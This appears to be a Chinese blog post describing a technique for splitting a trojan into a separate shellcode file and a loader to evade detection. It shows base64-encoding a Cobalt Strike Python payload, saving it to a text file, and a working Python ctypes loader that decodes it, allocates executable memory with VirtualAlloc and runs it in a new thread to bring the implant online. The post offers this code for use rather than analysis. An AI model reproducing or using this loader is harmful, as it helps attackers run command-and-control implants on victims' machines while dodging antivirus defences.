无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

 

import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

 

相关推荐

  1. VBA Excel的各sheet为文件

    2024-06-13 14:34:02       35 阅读
  2. 使用 python excel 文件

    2024-06-13 14:34:02       39 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-13 14:34:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-13 14:34:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-06-13 14:34:02       82 阅读
  4. Python语言-面向对象

    2024-06-13 14:34:02       91 阅读

热门阅读

  1. redis 故障处理: 持续更新

    2024-06-13 14:34:02       33 阅读
  2. 探索PostgreSQL:从基础到进阶的实用教程

    2024-06-13 14:34:02       30 阅读
  3. NXP RT1060学习总结 - fsl_flexcan 基础CAN函数说明 -3

    2024-06-13 14:34:02       31 阅读
  4. 【数学】小学公式与概念

    2024-06-13 14:34:02       26 阅读
  5. python迁移数据教程

    2024-06-13 14:34:02       31 阅读
  6. Spring (55)Spring Boot的测试支持

    2024-06-13 14:34:02       38 阅读
  7. SHELL脚本学习(七) 脚本控制(2)

    2024-06-13 14:34:02       30 阅读
  8. cpp 哈希表 unordered_map

    2024-06-13 14:34:02       34 阅读
  9. 程序员的婚后生活是如何走向一地鸡毛的?

    2024-06-13 14:34:02       37 阅读
  10. 交易积累-世界著名的游戏框架

    2024-06-13 14:34:02       33 阅读
  11. React state 执行时机

    2024-06-13 14:34:02       28 阅读
  12. SpringCloud专题

    2024-06-13 14:34:02       33 阅读
  13. Stream

    Stream

    2024-06-13 14:34:02      31 阅读